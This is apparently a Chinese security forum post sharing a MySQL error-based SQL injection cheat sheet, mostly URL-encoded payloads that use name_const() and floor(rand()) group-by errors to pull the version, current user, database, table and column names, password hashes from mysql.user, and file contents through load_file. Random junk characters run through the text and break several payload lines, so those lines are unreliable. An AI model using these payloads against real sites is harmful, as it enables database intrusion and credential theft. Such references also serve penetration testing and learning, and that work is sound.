找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1984|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 6 A3 S) [$ T; G8 \4 h

$ m4 E/ T* ?; D2 q, S: A+ U8 K
, e/ Y3 q* S, B5 y- tMysql暴错注入参考(pdf),每天一贴。。。
/ S5 N, M& d/ ~( u$ ^; o" g5 u
. `1 Y( n: e, k) ]; [MySql Error Based Injection Reference
! ^7 p- [3 i+ C8 h9 }- r7 u% P2 Q# S[Mysql暴错注入参考]
) g! I) z- v. g% wAuthornig0s1992
  Q8 ]3 x/ m: l$ ^7 ?" YBlog:http://pnig0s1992.blog.51cto.com/
$ _& R4 }" C8 ITeAm:http://www.FreeBuf.com/
; ^& O; }, z  C* ]6 L+ ]+ m" oMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功+ d5 \3 d( v8 n4 e  K
小部分版本使用name_const()时会报错.可以用给出的Method.2测试6 [: d' n; g% T
查询版本:
. _* F- @$ F/ P1 W, f( d0 z' Y1 lMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+# S2 A6 ?- d" ?+ p
join+(select+name_const(@@version,0))b)c)% o; t$ L, C  [) ?8 j
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro! y% B! c8 Q+ e3 T% c/ L
up by a)b)
2 {) L3 I0 S1 I% K查询当前用户:
; i1 {& f; c% f5 f9 \2 V7 J6 m4 nMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
$ E; L7 O8 V4 `2 ?  WMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
; f+ H9 H  J& O: {' F# o! cand(0)*2))x+from+information_schema.tables+group+by+x)a)
! F# q7 _7 L+ k. U$ j6 N7 T  ~查询当前数据库:
7 h. E7 J, }; I) v- X# m" ?Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c); g" X, U6 p3 D2 Y7 ]# [
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
9 e1 z, p8 B* s/ a0 G6 Hor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)  z! h9 a2 D) z& N; C
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
' d+ E/ [( p4 A; [+ S- u* KLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
) N: J6 J# l: ]6 K顺序替换' D' V1 J' d6 y% f5 f: \
爆指定库数目:
7 L8 v  b% d) C7 _and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
2 o. y! f2 l3 X) ^' B; H) kable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group* t5 N% L; u& o6 ]7 \
+by+x)a)+and+1=1 0x6D7973716C=mysql
; F* R6 H( b* t- b% }' X6 u, b依次爆表:
  S2 Z) \5 I3 l' Q5 Qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t8 W+ c5 T) S3 `, X$ V# C- ?& M
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta# x) x2 `- D$ q. {
bles+group+by+x)a)+and+1=1
/ m* J; O2 _9 `- B% G, ~2 [( F* ]0x6D7973716C=Mysql 将n顺序替换
) r; j, l2 Q  F: t: V4 b$ o- s爆表内字段数目:
1 F3 `5 R& K. Z4 W7 J% f) X6 L: Uand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
% Q) c) ~- @: M( _" p+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran: m' |) ~/ U$ u
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=10 e9 h. U* x, o. Z6 Z2 u$ U  |# \
依次爆字段:3 m# }6 B; V! G/ Z8 m
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where: Z. B; D+ b8 ~
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,13 F& K% w/ p, q; T' F5 F
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
& R! _0 k; p6 @0 p; b6 i' D* d) D+ Q依次暴内容:2 T+ d) p8 t5 `
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
7 B0 L" V5 j3 j: c$ ]ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1( k+ O7 ~( C* x) a% Y0 g
将n顺序替换
7 D9 |# {; D" }6 i" \爆文件内容:( M) {" Y# M# N, W/ O
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
2 I9 |$ V% M8 ^$ l2 |2 B- nfrom+information_schema.tables+group+by+a)b) 3 C/ p+ w! K% `9 n/ x' t& G$ ^  H
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
. w+ N$ \' s, Y( ]9 D3 ], _Thx for reading.
* b: n7 Y% B/ F" [. O# w. g! c: n, y2 [& T4 |  d' l
不要下载也可以, " c# G3 P' O6 g% H, O& y4 G7 t

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表